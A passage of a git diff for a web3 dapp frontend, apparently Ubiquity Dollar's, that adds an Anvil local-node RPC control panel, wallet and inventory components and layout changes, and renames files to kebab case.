+ ))} + + + + + + ); + })} + + + )} + + {isVisible == 3 && ( + <> + + + + Method + Params + Call + + {methodConfigs + .filter((method) => method.type === "utility") + .map((method) => { + const handleInputChange = (argName: string, value: string) => { + setMethodArgs((prevArgs) => ({ ...prevArgs, [argName]: value })); + }; + + return ( + + + {method.name} + {" "} + {method.download ? ( + + + + ) : null}{" "} + + + {method.params.map((param, i) => ( +
+ handleInputChange(param.name, e.target.value)} + /> +
+ ))} + + + + + + ); + })} + + + )} +
+
+
+
+ ); +} diff --git a/packages/dapp/components/layout/anvil/method-configs.ts b/packages/dapp/components/layout/anvil/method-configs.ts new file mode 100644 index 000000000..95985f523 --- /dev/null +++ b/packages/dapp/components/layout/anvil/method-configs.ts @@ -0,0 +1,397 @@ +export const methodConfigs = [ + { + name: "Get Block Number", + methodName: "eth_blockNumber", + description: "Returns the bigint of most recent block.", + params: [], + download: true, + type: "utility", + }, + { + name: "Load State", + methodName: "anvil_loadState", + description: + "When given a hex string previously returned by anvil_dumpState, merges the contents into the current chain state. Will overwrite any colliding accounts/storage slots.", + params: [{ name: "hexString", type: "string" }], + type: "utility", + }, + { + name: "Dump State", + methodName: "anvil_dumpState", + description: + "Returns a hex string representing the complete state of the chain. Can be re-imported into a fresh/restarted instance of Anvil to reattain the same state.", + params: [], + download: true, + type: "utility", + }, + { + name: "Anvil Info", + methodName: "anvil_nodeInfo", + description: "Retrieves the configuration params for the currently running Anvil node.", + params: [], + download: true, + type: "utility", + }, + // { + // name: "Enable Traces", + // methodName: "anvil_enableTraces", + // description: "Turn on call traces for transactions that are returned to the user when they execute a transaction (instead of just txhash/receipt).", + // params: [], + // type: "utility", + // }, + // { + // name: "Set Logging Enabled", + // methodName: "anvil_setLoggingEnabled", + // description: "Enable or disable logging on the test node network.", + // params: [{ name: "boolean", type: "boolean" }], + // type: "utility", + // }, + { + name: "Snapshot", + methodName: "anvil_snapshot", + description: "Snapshot the state of the blockchain at the current block.", + params: [], + download: true, + type: "utility", + }, + { + name: "Set Automine", + methodName: "anvil_setAutomine", + description: "Enables or disables the automatic mining of new blocks with each new transaction submitted to the network.", + params: [{ name: "boolean", type: "boolean" }], + type: "utility", + }, + { + name: "Get Automine", + methodName: "anvil_getAutomine", + description: "Returns the automatic mining status of the node.", + params: [], + type: "utility", + }, + { + name: "Get Block By Hash", + methodName: "eth_getBlockByHash", + description: "Returns information about a block by hash.", + params: [ + { name: "hash", type: "string" }, + { name: "full", type: "boolean" }, + ], + download: true, + type: "utility", + }, + { + name: "Drop Transaction", + methodName: "anvil_dropTransaction", + description: "Removes a transaction from the mempool.", + params: [{ name: "hash", type: "string" }], + type: "utility", + }, + // { + // name: "Set New Filter", + // methodName: "eth_newFilter", + // description: "Creates a filter object, based on filter options, to notify when the state changes (logs).", + // params: [ + // { name: "fromBlock", type: "string" }, + // { name: "toBlock", type: "string" }, + // { name: "address", type: "string" }, + // { name: "topics", type: "string[]" }, + // ], + // type: "utility", + // }, + // { + // name: "Get Block Filter Changes", + // methodName: "eth_getFilterChanges", + // description: "Polling method for a filter, which returns an array of logs which occurred since last poll.", + // params: [{ name: "id", type: "string" }], + // download: true, + // type: "utility", + // }, + // { + // name: "Remove Block Filter", + // methodName: "eth_uninstallFilter", + // description: "Uninstalls a filter with given id.", + // params: [{ name: "id", type: "string" }], + // type: "utility", + // }, + { + name: "Get Code", + methodName: "eth_getCode", + description: "Returns the bytecode stored at an address.", + params: [ + { name: "address", type: "string" }, + { name: "blockNumber", type: "string" }, + ], + download: true, + type: "utility", + }, + { + name: "Set Code", + methodName: "anvil_setCode", + description: "Modifies the bytecode stored at an address.", + params: [ + { name: "address", type: "string" }, + { name: "bytecode", type: "string" }, + ], + type: "utility", + }, + { + name: "Get Storage At", + methodName: "eth_getStorageAt", + description: "Returns the value of a storage slot at a given address.", + params: [ + { name: "address", type: "string" }, + { name: "index", type: "string" }, + { name: "blockNumber", type: "string" }, + ], + download: true, + type: "utility", + }, + { + name: "Set Storage At", + methodName: "anvil_setStorageAt", + description: "Writes to a slot of an account's storage.", + params: [ + { name: "address", type: "string" }, + { name: "index", type: "string" }, + { name: "value", type: "string" }, + ], + type: "utility", + }, + { + name: "Get Proof", + methodName: "eth_getProof", + description: "Returns a Merkle-proof for a storage slot of an account.", + params: [ + { name: "address", type: "string" }, + { name: "index", type: "string" }, + { name: "blockNumber", type: "string" }, + ], + download: true, + type: "utility", + }, + // { + // name: "Get Logs", + // methodName: "eth_getLogs", + // description: "Returns an array of all logs matching a given filter object.", + // params: [ + // { name: "fromBlock", type: "string" }, + // { name: "toBlock", type: "string" }, + // { name: "address", type: "string" }, + // { name: "topics", type: "string[]" }, + // { name: "blockhash", type: "string" }, + // ], + // download: true, + // type: "utility", + // }, + // { + // name: "Get Filter Logs", + // methodName: "eth_getFilterLogs", + // description: "Returns an array of all logs matching filter with given id.", + // params: [ + // { name: "address", type: "string" }, + // { name: "topics", type: "string[]" }, + // { name: "data", type: "string" }, + // { name: "blockNumber", type: "string" }, + // { name: "transactionIndex", type: "string" }, + // { name: "blockHash", type: "string" }, + // { name: "logIndex", type: "string" }, + // { name: "removed", type: "string" }, + // ], + // download: true, + // type: "utility", + // }, + + /////////////////////////////////////////////////////////// + ////////////////////////// CHAIN ////////////////////////// + /////////////////////////////////////////////////////////// + + { + name: "Increase Time", + methodName: "anvil_increaseTime", + description: "Jump forward in time by the given amount of time, in seconds.", + params: [{ name: "seconds", type: "number" }], + type: "chain", + }, + { + name: "Set Anvil RPC", + methodName: "anvil_setRpcUrl", + description: "Sets the backend RPC URL.", + params: [{ name: "url", type: "string" }], + type: "chain", + }, + { + name: "Mine", + methodName: "anvil_mine", + description: "Mine a specified bigint of blocks.", + params: [{ name: "blocks", type: "number" }], + type: "chain", + }, + { + name: "Set Next Block timestamp", + methodName: "anvil_setNextBlockTimestamp", + description: "Sets the next block's timestamp.", + params: [{ name: "timestamp", type: "number" }], + type: "chain", + }, + { + name: "Set Next Block baseFeePerGas", + methodName: "anvil_setNextBlockBaseFeePerGas", + description: "Sets the next block's base fee per gas.", + params: [{ name: "baseFeePerGas", type: "number" }], + type: "chain", + }, + // { ## EIP-1559 ## + // name: "Set Min Gas Price", + // methodName: "anvil_setMinGasPrice", + // description: "Change the minimum gas price accepted by the network (in wei).", + // params: [{ name: "minGasPrice", type: "bigint" }], + // type: "chain", + // }, + { + name: "Mining Interval", + methodName: "anvil_setIntervalMining", + description: "Sets the automatic mining interval (in seconds) of blocks. Setting the interval to 0 will disable automatic mining.", + params: [{ name: "interval", type: "number" }], + type: "chain", + }, + { + name: "Set Coinbase", + methodName: "anvil_setCoinbase", + description: "Sets the coinbase address to be used in new blocks.", + params: [{ name: "address", type: "string" }], + type: "chain", + }, + + { + name: "Block Gas Limit", + methodName: "anvil_setBlockGasLimit", + description: "Sets the block's gas limit.", + params: [{ name: "gasLimit", type: "number" }], + type: "chain", + }, + + { + name: "Revert", + methodName: "anvil_revert", + description: "Revert the state of the blockchain at the current block.", + params: [{ name: "id", type: "number" }], + type: "chain", + }, + { + name: "Reset", + methodName: "anvil_reset", + description: "Resets fork back to its original state.", + params: [], + type: "chain", + }, + { + name: "Set Block Timestamp Interval", + methodName: "anvil_setBlockTimestampInterval", + description: + "Similar to anvil_increaseTime, but sets a block timestamp interval. The timestamp of future blocks will be computed as lastBlock_timestamp + interval.", + params: [{ name: "interval", type: "number" }], + type: "chain", + }, + { + name: "Remove Block Timestamp Interval", + methodName: "anvil_removeBlockTimestampInterval", + description: "Removes anvil_setBlockTimestampInterval if it exists.", + params: [], + type: "chain", + }, + // { ## Requires GETH ## + // name: "Inspect Txpool", + // methodName: "eth_inspectTxpool", + // description: + // "Returns a summary of all the transactions currently pending for inclusion in the next block(s), as well as the ones that are being scheduled for future execution only.", + // params: [], + // download: true, + // type: "chain", + // }, + // { + // name: "Txpool Status", + // methodName: "eth_getTxpoolStatus", + // description: + // "Returns a summary of all the transactions currently pending for inclusion in the next block(s), as well as the ones that are being scheduled for future execution only.", + // params: [], + // download: true, + // type: "chain", + // }, + // { + // name: "Txpool Content", + // methodName: "eth_getTxpoolContent", + // description: + // "Returns the details of all transactions currently pending for inclusion in the next block(s), as well as the ones that are being scheduled for future execution only.", + // params: [], + // download: true, + // type: "chain", + // }, + + /////////////////////////////////////////////////////////// + ////////////////////////// USER /////////////////////////// + /////////////////////////////////////////////////////////// + + { + name: "Set Nonce", + methodName: "anvil_setNonce", + description: "Modifies (overrides) the nonce of an account.", + params: [ + { name: "address", type: "string" }, + { name: "nonce", type: "number" }, + ], + type: "user", + }, + { + name: "Set Balance", + methodName: "anvil_setBalance", + description: "Modifies the balance of an account.", + params: [ + { name: "address", type: "string" }, + { name: "value", type: "number" }, + ], + type: "user", + }, + { + name: "Send Unsigned Transaction", + methodName: "eth_sendRawTransaction", + description: "Creates new message call transaction or a contract creation, if the data field contains code.", + params: [{ name: "data", type: "string" }], + type: "user", + }, + { + name: "Send Transaction", + methodName: "eth_sendTransaction", + description: "Creates new message call transaction or a contract creation, if the data field contains code.", + params: [ + { name: "from", type: "string" }, + { name: "to", type: "string" }, + { name: "value", type: "string" }, + ], + type: "user", + }, + { + name: "Eth Sign", + methodName: "eth_sign", + description: "Signs a message.", + params: [ + { name: "address", type: "string" }, + { name: "message", type: "string" }, + ], + type: "user", + }, + { + name: "Impersonate Account", + methodName: "anvil_impersonateAccount", + description: + "Impersonate an account or contract address. This lets you send transactions from that account even if you don't have access to its private key.", + params: [{ name: "address", type: "string" }], + type: "user", + }, + { + name: "Stop Impersonating", + methodName: "anvil_stopImpersonatingAccount", + description: "Stop impersonating an account after having previously used anvil_impersonateAccount.", + params: [{ name: "address", type: "string" }], + type: "user", + }, +]; diff --git a/packages/dapp/components/layout/Background.tsx b/packages/dapp/components/layout/background.tsx similarity index 100% rename from packages/dapp/components/layout/Background.tsx rename to packages/dapp/components/layout/background.tsx diff --git a/packages/dapp/components/layout/build-info.tsx b/packages/dapp/components/layout/build-info.tsx new file mode 100644 index 000000000..24e10c777 --- /dev/null +++ b/packages/dapp/components/layout/build-info.tsx @@ -0,0 +1,14 @@ +/** + * Component renders build info details: + * - commit hash URL + * @returns JSX template + */ +export default function BuildInfo() { + return ( + + ); +} diff --git a/packages/dapp/components/layout/inventory.tsx b/packages/dapp/components/layout/inventory.tsx new file mode 100644 index 000000000..05244228a --- /dev/null +++ b/packages/dapp/components/layout/inventory.tsx @@ -0,0 +1,169 @@ +import Tippy from "@tippyjs/react"; +import { BaseContract, BigNumber, ethers } from "ethers"; +import { useState } from "react"; +import useEffectAsync from "../lib/hooks/use-effect-async"; + +import useWeb3 from "@/lib/hooks/use-web-3"; +import icons from "@/ui/icons"; + +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +import useNamedContracts from "../lib/hooks/contracts/use-named-contracts"; +import useBalances from "../lib/hooks/use-balances"; +import { Balances } from "../lib/types"; + +type ProtocolContracts = NonNullable>>; + +const Inventory = () => { + const { walletAddress } = useWeb3(); + const [balances, refreshBalances] = useBalances(); + const protocolContracts = useProtocolContracts(); + const namedContracts = useNamedContracts(); + const [contracts, setContracts] = useState(); + + useEffectAsync(async () => { + const contract = await protocolContracts; + setContracts(contract); + + if (walletAddress) { + refreshBalances(); + } + }, [walletAddress]); + + if (!walletAddress || !balances || !namedContracts) { + return null; + } + + return ( +
+
+ {/* My inventory */} + {/* */} +
+
+
+ {/* cspell: disable-next-line */} + {showIfBalanceExists("dollar", "DOLLAR", "dollarToken")} + {/* cspell: disable-next-line */} + {showIfBalanceExists("credit", "CREDIT", "creditToken")} + {showIfBalanceExists("creditNft", "CREDIT-NFT", "creditNft")} + {/* cspell: disable-next-line */} + {showIfBalanceExists("governance", "GOVERNANCE", "governanceToken")} + {showIfBalanceExists("_3crv", "3crv", "_3crvToken")} + {showIfBalanceExists("dollar3crv", "dollar3CRV-f", "curveMetaPoolDollarTriPoolLp")} + {showIfBalanceExists("usdc", "USDC", "usdc")} + {showIfBalanceExists("dai", "DAI", "dai")} + {showIfBalanceExists("usdt", "USDT", "usdt")} +
+
+
+ ); + + function showIfBalanceExists(key: keyof Balances, name: keyof typeof tokenSvg, id: string) { + const usdcFix = function () { + if (key == "usdc" || key == "usdt") return 6; + else return 18; + }; + + if (!balances) { + console.warn("balances not loaded"); + return null; + } + + const balance = balances[key]; + if (Number(balance) && contracts) { + let selectedContract = contracts[id as keyof ProtocolContracts] as BaseContract; + if (!selectedContract && namedContracts) { + selectedContract = namedContracts[key as keyof typeof namedContracts]; + } + + return ; + } + } +}; + +interface TokenInterface { + balance: BigNumber; + token: keyof typeof tokenSvg; + tokenAddr?: string; + accountAddr?: string; + decimals?: number; +} + +const Token = ({ balance, token, tokenAddr, accountAddr, decimals = 18 }: TokenInterface) => { + const Svg = tokenSvg[token] || (() => <>); + + const addTokenToWallet = async () => { + if (typeof window !== "undefined") { + const ethereum = window.ethereum; + if (!ethereum?.request) { + return; + } + try { + const base64Img = icons.base64s[token.toLowerCase()]; + const wasAdded = await ethereum.request({ + method: "wallet_watchAsset", + params: { + type: "ERC20", + options: { + address: tokenAddr, + symbol: token, + decimals: decimals, + image: base64Img, + }, + }, + }); + if (wasAdded) { + console.log("Thanks for your interest!"); + } else { + console.log("Your loss!"); + } + } catch (error) { + console.log(error); + } + } + }; + + return ( +
+
+
+ {} + + Add to MetaMask +
+ } + placement="top" + duration={0} + > + + +
+ +
+ + ); +}; + +const tokenSvg = { + // cspell: disable-next-line + DOLLAR: () => icons.SVGs.dollar, + // cspell: disable-next-line + CREDIT: () => icons.SVGs.credit, + "CREDIT-NFT": () => icons.SVGs.creditNft, + // cspell: disable-next-line + GOVERNANCE: () => icons.SVGs.governance, + USDC: () => icons.SVGs.usdc, + DAI: () => icons.SVGs.dai, + USDT: () => icons.SVGs.usdt, + "3crv": () => , + "dollar3CRV-f": () => , +}; + +export default Inventory; diff --git a/packages/dapp/components/layout/Layout.tsx b/packages/dapp/components/layout/layout.tsx similarity index 60% rename from packages/dapp/components/layout/Layout.tsx rename to packages/dapp/components/layout/layout.tsx index ecc0a8d70..9c4c34870 100644 --- a/packages/dapp/components/layout/Layout.tsx +++ b/packages/dapp/components/layout/layout.tsx @@ -1,10 +1,10 @@ -import React, { useEffect } from "react"; +import React, { useEffect, useRef } from "react"; import { ErrorBoundary } from "react-error-boundary"; -import Icon from "../ui/Icon"; -import Inventory from "./Inventory"; -import Sidebar from "./Sidebar"; -import TransactionsDisplay from "./TransactionsDisplay"; +import Icon from "../ui/icon"; +import Inventory from "./inventory"; +import Sidebar from "./sidebar"; +import TransactionsDisplay from "./transactions-display"; type LayoutProps = { children: React.ReactNode; @@ -23,13 +23,25 @@ function ErrorHandler({ error }: { error: Error }) { } export default function Layout({ children }: LayoutProps) { + const firstUpdate = useRef(false); + const updateFinish = useRef(false); + useEffect(() => { - const { ethereum } = window; - if (ethereum) { - ethereum.on("accountsChanged", window.location.reload); - ethereum.on("chainChanged", window.location.reload); + //@note Fix: (Illegal Invocation) + if (firstUpdate.current) { + const { ethereum } = window; + if (ethereum) { + ethereum.on("accountsChanged", window.location.reload); + ethereum.on("chainChanged", window.location.reload); + } + firstUpdate.current = false; + updateFinish.current = true; + } else { + if (!updateFinish.current) { + firstUpdate.current = true; + } } - }, []); + }, [firstUpdate]); return (
diff --git a/packages/dapp/components/layout/light-dark-mode.tsx b/packages/dapp/components/layout/light-dark-mode.tsx new file mode 100644 index 000000000..ae3af4a44 --- /dev/null +++ b/packages/dapp/components/layout/light-dark-mode.tsx @@ -0,0 +1,28 @@ +/** + * Component allows the user to toggle between light and dark mode: + * @returns JSX template + */ +export default function LightDarkMode() { + return ( +
+ +
+ ); +} + +function toggleDarkMode() { + const __next = document.getElementById(`__next`); + if (!__next) { + throw new Error("Could not find '__next' element"); + } + const lightDarkModeToggle = document.getElementById("LightDarkMode")?.children[0]; + const isLightMode = __next.classList.contains("light-mode"); + + if (isLightMode) { + __next.classList.remove("light-mode"); + lightDarkModeToggle?.classList.remove("active"); + } else { + __next.classList.add("light-mode"); + lightDarkModeToggle?.classList.add("active"); + } +} diff --git a/packages/dapp/components/layout/Network.tsx b/packages/dapp/components/layout/network.tsx similarity index 88% rename from packages/dapp/components/layout/Network.tsx rename to packages/dapp/components/layout/network.tsx index 13b6398c2..857e289b2 100644 --- a/packages/dapp/components/layout/Network.tsx +++ b/packages/dapp/components/layout/network.tsx @@ -1,7 +1,7 @@ import { useEffect, useState } from "react"; import { getNetworkName } from "@/lib/utils"; -import useWeb3Provider from "../lib/hooks/useWeb3Provider"; +import useWeb3Provider from "../lib/hooks/use-web-3-provider"; const Network = () => { const web3Provider = useWeb3Provider(); diff --git a/packages/dapp/components/layout/Sidebar.tsx b/packages/dapp/components/layout/sidebar.tsx similarity index 58% rename from packages/dapp/components/layout/Sidebar.tsx rename to packages/dapp/components/layout/sidebar.tsx index 59e732bde..c725e6197 100644 --- a/packages/dapp/components/layout/Sidebar.tsx +++ b/packages/dapp/components/layout/sidebar.tsx @@ -1,6 +1,9 @@ import Link from "next/link"; -import Icon, { IconsNames } from "../ui/Icon"; -import WalletConnect from "./WalletConnect"; +import Icon, { IconsNames } from "../ui/icon"; +import LightDarkMode from "./light-dark-mode"; +import BuildInfo from "./build-info"; +import WalletConnect from "./wallet-connect"; +import AnvilRpcs from "./anvil/anvil-rpcs"; const PROD = process.env.NODE_ENV == "production"; @@ -13,33 +16,40 @@ const Sidebar = () => {
    - - - + +
+
+ +
+
+ + +
+ +
+
  • @@ -54,19 +64,16 @@ const Sidebar = () => {
-
    -
  • - -
  • -
+
+ {!PROD && } ); }; const SocialLinkItem = ({ href, icon, alt }: { href: string; icon: IconsNames; alt: string }) => ( - +
@@ -78,11 +85,9 @@ const Item = ({ text, href }: { text: string; href: string; icon: string }) => { return (
  • - - - {text} - {isExternal ? : null} - + + {text} + {isExternal ? : null}
  • diff --git a/packages/dapp/components/layout/TransactionsDisplay.tsx b/packages/dapp/components/layout/transactions-display.tsx similarity index 94% rename from packages/dapp/components/layout/TransactionsDisplay.tsx rename to packages/dapp/components/layout/transactions-display.tsx index ed36e678c..72a16cc7f 100644 --- a/packages/dapp/components/layout/TransactionsDisplay.tsx +++ b/packages/dapp/components/layout/transactions-display.tsx @@ -1,6 +1,6 @@ -import useTransactionLogger, { Transaction } from "../lib/hooks/useTransactionLogger"; -import Button from "../ui/Button"; -import Spinner from "../ui/Spinner"; +import useTransactionLogger, { Transaction } from "../lib/hooks/use-transaction-logger"; +import Button from "../ui/button"; +import Spinner from "../ui/spinner"; export const Transacting = (props: { transaction: Transaction; onDismiss: () => void }): JSX.Element | null => { if (props.transaction.status === "failure" && !props.transaction.dismissed) { diff --git a/packages/dapp/components/layout/wallet-connect.tsx b/packages/dapp/components/layout/wallet-connect.tsx new file mode 100644 index 000000000..c32937f9f --- /dev/null +++ b/packages/dapp/components/layout/wallet-connect.tsx @@ -0,0 +1,36 @@ +import { ConnectKitButton } from "connectkit"; +import { useDisconnect } from "wagmi"; +import Button from "../ui/button"; + +const WalletConnect = () => { + const { disconnect } = useDisconnect(); + + return ( + + {({ isConnected, isConnecting, show, address, truncatedAddress, ensName }) => ( +
    + {isConnected ? ( +
    + +
    +
    + +
    +
    +
    + ) : ( + + )} +
    + )} +
    + ); +}; + +export default WalletConnect; diff --git a/packages/dapp/components/lib/AppContextProvider.tsx b/packages/dapp/components/lib/AppContextProvider.tsx deleted file mode 100644 index 47c16c5d4..000000000 --- a/packages/dapp/components/lib/AppContextProvider.tsx +++ /dev/null @@ -1,12 +0,0 @@ -import { ManagedContractsContextProvider } from "./hooks/contracts/useManagerManaged"; -import { BalancesContextProvider } from "./hooks/useBalances"; -import { TransactionsContextProvider } from "./hooks/useTransactionLogger"; -import { UseWeb3Provider } from "./hooks/useWeb3"; - -import { combineComponents } from "./combineComponents"; - -const providers = [UseWeb3Provider, ManagedContractsContextProvider, TransactionsContextProvider, BalancesContextProvider]; - -const AppContextProvider = combineComponents(...providers); - -export default AppContextProvider; diff --git a/packages/dapp/components/lib/app-context-provider.tsx b/packages/dapp/components/lib/app-context-provider.tsx new file mode 100644 index 000000000..015017391 --- /dev/null +++ b/packages/dapp/components/lib/app-context-provider.tsx @@ -0,0 +1,13 @@ +import { BalancesContextProvider } from "./hooks/use-balances"; +import { TransactionsContextProvider } from "./hooks/use-transaction-logger"; +import { UseWeb3Provider } from "./hooks/use-web-3"; + +import { combineComponents } from "./combine-components"; + +// const providers = [UseWeb3Provider, ManagedContractsContextProvider, TransactionsContextProvider, BalancesContextProvider]; +// @note Fix: (Error: missing revert data in call exception since Diamond isn't deployed yet) +const providers = [UseWeb3Provider, TransactionsContextProvider, BalancesContextProvider]; + +const AppContextProvider = combineComponents(...providers); + +export default AppContextProvider; diff --git a/packages/dapp/components/lib/combineComponents.tsx b/packages/dapp/components/lib/combine-components.tsx similarity index 91% rename from packages/dapp/components/lib/combineComponents.tsx rename to packages/dapp/components/lib/combine-components.tsx index 1db94063c..283ba4427 100644 --- a/packages/dapp/components/lib/combineComponents.tsx +++ b/packages/dapp/components/lib/combine-components.tsx @@ -1,5 +1,5 @@ import { ComponentProps, FC } from "react"; -import { ChildrenShim } from "./hooks/children-shim"; +import { ChildrenShim } from "./hooks/children-shim-d"; export const combineComponents = (...components: FC[]): FC => { return components.reduce( (AccumulatedComponents, CurrentComponent) => { diff --git a/packages/dapp/components/lib/contracts-shortcuts.ts b/packages/dapp/components/lib/contracts-shortcuts.ts index be4f208be..6e0096253 100644 --- a/packages/dapp/components/lib/contracts-shortcuts.ts +++ b/packages/dapp/components/lib/contracts-shortcuts.ts @@ -42,33 +42,33 @@ export async function ensureERC1155Allowance(logName: string, contract: Contract // const toEtherNum = (n: BigNumber) => +n.toString() / 1e18; // const toNum = (n: BigNumber) => +n.toString(); -// export async function logBondingUbqInfo(contracts: Contracts) { -// const reserves = await contracts.ugovUadPair.getReserves(); -// const ubqReserve = +reserves.reserve0.toString(); -// const uadReserve = +reserves.reserve1.toString(); -// const ubqPrice = uadReserve / ubqReserve; -// console.log("uAD-UBQ Pool", uadReserve, ubqReserve); -// console.log("UBQ Price", ubqPrice); -// const ubqPerBlock = await contracts.masterChef.uGOVPerBlock(); -// const ubqMultiplier = await contracts.masterChef.uGOVmultiplier(); +// export async function logStakingGovernanceInfo(contracts: Contracts) { +// const reserves = await contracts.ugovDollarPair.getReserves(); +// const governanceReserve = +reserves.reserve0.toString(); +// const dollarReserve = +reserves.reserve1.toString(); +// const governancePrice = dollarReserve / governanceReserve; +// console.log("DOLLAR-GOVERNANCE Pool", dollarReserve, governanceReserve); +// console.log("GOVERNANCE Price", governancePrice); +// const governancePerBlock = await contracts.masterChef.uGOVPerBlock(); +// const governanceMultiplier = await contracts.masterChef.uGOVmultiplier(); // const ugovDivider = toNum(await contracts.masterChef.uGOVDivider()); -// console.log("UBQ per block", toEtherNum(ubqPerBlock)); -// console.log("UBQ Multiplier", toEtherNum(ubqMultiplier)); -// const actualUbqPerBlock = toEtherNum(ubqPerBlock.mul(ubqMultiplier).div(`${1e18}`)); -// console.log("Actual UBQ per block", actualUbqPerBlock); -// console.log("Extra UBQ per block to treasury", actualUbqPerBlock / ugovDivider); -// const blockCountInAWeek = toNum(await contracts.bonding.blockCountInAWeek()); +// console.log("GOVERNANCE per block", toEtherNum(governancePerBlock)); +// console.log("GOVERNANCE Multiplier", toEtherNum(governanceMultiplier)); +// const actualGovernancePerBlock = toEtherNum(governancePerBlock.mul(governanceMultiplier).div(`${1e18}`)); +// console.log("Actual GOVERNANCE per block", actualGovernancePerBlock); +// console.log("Extra GOVERNANCE per block to treasury", actualGovernancePerBlock / ugovDivider); +// const blockCountInAWeek = toNum(await contracts.staking.blockCountInAWeek()); // console.log("Block count in a week", blockCountInAWeek); -// const ubqPerWeek = actualUbqPerBlock * blockCountInAWeek; -// console.log("UBQ Minted per week", ubqPerWeek); -// console.log("Extra UBQ minted per week to treasury", ubqPerWeek / ugovDivider); +// const governancePerWeek = actualGovernancePerBlock * blockCountInAWeek; +// console.log("GOVERNANCE Minted per week", governancePerWeek); +// console.log("Extra GOVERNANCE minted per week to treasury", governancePerWeek / ugovDivider); // const DAYS_IN_A_YEAR = 365.2422; // const totalShares = toEtherNum(await contracts.masterChef.totalShares()); -// console.log("Total Bonding Shares", totalShares); -// const usdPerWeek = ubqPerWeek * ubqPrice; +// console.log("Total Staking Shares", totalShares); +// const usdPerWeek = governancePerWeek * governancePrice; // const usdPerDay = usdPerWeek / 7; // const usdPerYear = usdPerDay * DAYS_IN_A_YEAR; // console.log("USD Minted per day", usdPerDay); @@ -77,11 +77,11 @@ export async function ensureERC1155Allowance(logName: string, contract: Contract // const usdAsLp = 0.7460387929; // const bigNumberOneUsdAsLp = ethers.utils.parseEther(usdAsLp.toString()); -// const bondingDiscountMultiplier = await contracts.bonding.bondingDiscountMultiplier(); +// const stakingDiscountMultiplier = await contracts.staking.stakingDiscountMultiplier(); // const sharesResults = await Promise.all( // [1, 50, 100, 208].map(async (i) => { // const weeks = BigNumber.from(i.toString()); -// const shares = toEtherNum(await contracts.ubiquityFormulas.durationMultiply(bigNumberOneUsdAsLp, weeks, bondingDiscountMultiplier)); +// const shares = toEtherNum(await contracts.ubiquityFormulas.durationMultiply(bigNumberOneUsdAsLp, weeks, stakingDiscountMultiplier)); // return [i, shares]; // }) // ); diff --git a/packages/dapp/components/lib/hooks/children-shim.d.ts b/packages/dapp/components/lib/hooks/children-shim-d.ts similarity index 100% rename from packages/dapp/components/lib/hooks/children-shim.d.ts rename to packages/dapp/components/lib/hooks/children-shim-d.ts diff --git a/packages/dapp/components/lib/hooks/contracts/use-named-contracts.tsx b/packages/dapp/components/lib/hooks/contracts/use-named-contracts.tsx new file mode 100644 index 000000000..50ae42961 --- /dev/null +++ b/packages/dapp/components/lib/hooks/contracts/use-named-contracts.tsx @@ -0,0 +1,23 @@ +import useWeb3, { PossibleProviders } from "../use-web-3"; + +import NAMED_ACCOUNTS from "../../../config/named-accounts.json"; +import { getCurveFactoryContract, getERC20Contract, getYieldProxyContract } from "@/components/utils/contracts"; + +export type NamedContracts = ReturnType | null; +export function connectedContracts(provider: NonNullable) { + return { + curvePool: getCurveFactoryContract(NAMED_ACCOUNTS.curveFactory, provider), + yieldProxy: getYieldProxyContract(NAMED_ACCOUNTS.yieldProxy, provider), + usdc: getERC20Contract(NAMED_ACCOUNTS.USDC, provider), + dai: getERC20Contract(NAMED_ACCOUNTS.DAI, provider), + usdt: getERC20Contract(NAMED_ACCOUNTS.USDT, provider), + }; +} + +let namedContracts: NamedContracts = null; +const useNamedContracts = () => { + const { provider } = useWeb3(); + return provider && (namedContracts || (namedContracts = connectedContracts(provider))); +}; + +export default useNamedContracts; diff --git a/packages/dapp/components/lib/hooks/contracts/use-protocol-contracts.ts b/packages/dapp/components/lib/hooks/contracts/use-protocol-contracts.ts new file mode 100644 index 000000000..b5432d607 --- /dev/null +++ b/packages/dapp/components/lib/hooks/contracts/use-protocol-contracts.ts @@ -0,0 +1,192 @@ +import { Provider } from "@ethersproject/providers"; +import { Contract, ethers } from "ethers"; + +import useWeb3 from "../use-web-3"; +import { sushiSwapPoolAddress, dollar3poolMarketAddress, _3crvTokenAddress } from "@/lib/utils"; + +// contract build artifacts +// separately deployed contracts +import CreditNftArtifact from "@ubiquity/contracts/out/CreditNft.sol/CreditNft.json"; +import StakingShareArtifact from "@ubiquity/contracts/out/StakingShare.sol/StakingShare.json"; +import UbiquityCreditTokenArtifact from "@ubiquity/contracts/out/UbiquityCreditToken.sol/UbiquityCreditToken.json"; +import UbiquityDollarTokenArtifact from "@ubiquity/contracts/out/UbiquityDollarToken.sol/UbiquityDollarToken.json"; +import UbiquityGovernanceTokenArtifact from "@ubiquity/contracts/out/UbiquityGovernanceToken.sol/UbiquityGovernanceToken.json"; +// diamond facets +import AccessControlFacetArtifact from "@ubiquity/contracts/out/AccessControlFacet.sol/AccessControlFacet.json"; +import ChefFacetArtifact from "@ubiquity/contracts/out/ChefFacet.sol/ChefFacet.json"; +import CollectableDustFacetArtifact from "@ubiquity/contracts/out/CollectableDustFacet.sol/CollectableDustFacet.json"; +import CreditNftManagerFacetArtifact from "@ubiquity/contracts/out/CreditNftManagerFacet.sol/CreditNftManagerFacet.json"; +import CreditNftRedemptionCalculatorFacetArtifact from "@ubiquity/contracts/out/CreditNftRedemptionCalculatorFacet.sol/CreditNftRedemptionCalculatorFacet.json"; +import CreditRedemptionCalculatorFacetArtifact from "@ubiquity/contracts/out/CreditRedemptionCalculatorFacet.sol/CreditRedemptionCalculatorFacet.json"; +import CurveDollarIncentiveFacetArtifact from "@ubiquity/contracts/out/CurveDollarIncentiveFacet.sol/CurveDollarIncentiveFacet.json"; +import DollarMintCalculatorFacetArtifact from "@ubiquity/contracts/out/DollarMintCalculatorFacet.sol/DollarMintCalculatorFacet.json"; +import DollarMintExcessFacetArtifact from "@ubiquity/contracts/out/DollarMintExcessFacet.sol/DollarMintExcessFacet.json"; +import ManagerFacetArtifact from "@ubiquity/contracts/out/ManagerFacet.sol/ManagerFacet.json"; +import OwnershipFacetArtifact from "@ubiquity/contracts/out/OwnershipFacet.sol/OwnershipFacet.json"; +import StakingFacetArtifact from "@ubiquity/contracts/out/StakingFacet.sol/StakingFacet.json"; +import StakingFormulasFacetArtifact from "@ubiquity/contracts/out/StakingFormulasFacet.sol/StakingFormulasFacet.json"; +import TWAPOracleDollar3poolFacetArtifact from "@ubiquity/contracts/out/ICurveStableSwapMetaNG.sol/ICurveStableSwapMetaNG.json"; +import UbiquityPoolFacetArtifact from 